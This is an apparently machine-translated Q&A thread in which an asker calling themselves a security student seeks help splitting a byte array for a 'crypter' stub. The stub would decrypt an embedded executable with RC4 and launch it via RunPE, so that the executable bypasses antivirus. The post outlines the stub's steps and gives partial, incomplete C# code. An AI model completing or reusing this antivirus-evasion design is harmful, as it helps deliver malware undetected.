我遇到了一些問題,其他問題對我沒有多大幫助。在分隔符處分割一個字節數組
我是一名安全專業的學生,我正在努力爲一個項目寫一篇作文。對於那些不知道這是什麼的人,你可以在這裏閱讀。 http://www.gamekiller.net/tutorials-guides/17187-tut-making-crypter-vb6-using-rc4.html
不管怎麼說,一個快速的解釋,crypters是指通過加密程序,然後貼上一個「存根」,它是解密,在前面的程序以繞過反病毒程序。我在分割文件時遇到了一個令人討厭的問題。
令人煩惱的是,我必須將加密的可執行文件放入字節數組中,因爲字符串會殺死我的加密可執行文件中的某些字符,使其無法執行。更糟糕的是,我仍然需要「分割」exe文件,這是麻煩開始的地方。
存根的基本思路是:
- 獲取當前exe文件路徑
- 通過File.ReadAllytes
- 分割在分隔符的文件,「EVILDELIMITER」 閱讀所有字節
- 獲取最後一個字段(因爲那是加密的EXE)
- 使用RC4解密它
- 使用RunPE運行。
我有一切工作,除了拆分部分,這是最煩人的。如何在分隔符處分割一個字節數組?有沒有更簡單的方法來做到這一點?
這是我迄今爲止存根的代碼。
public void main()
{
string outpath = RandomString(8) + ".exe";
byte[] key = { 33, 44, 55, 66, 77 };
string apppath = Assembly.GetEntryAssembly();
byte[] exe = File.ReadAllBytes(apppath);
string strseperate = "EVILSEPERATOREVIL";
System.Text.UTF8Encoding encoding = new System.Text.UTF8Encoding();
byte[] seperator = encoding.GetBytes(strseperate);
//Split code should go here
exe = Decrypt(key, encrypted);
Process.Start(outpath);
}
感謝您的任何幫助。
編碼爲UTF8並不理想。你可以得到無效的Unicode碼點。你應該嘗試遍歷字節數組。 – Polynomial 2012-03-18 00:53:52
如何將字符串更改爲字節數組?我需要改變我的分隔符,才能搜索它,除非你知道一個函數可以讓我通過字符串值來搜索字節數組。我還修復了代碼,我不小心使用了我的舊版本。 – redcodefinal 2012-03-18 00:56:19
@Roger它引發了一堆錯誤:(它說字符串沒有ToArray()方法。 –
redcodefinal
2012-03-18 01:04:16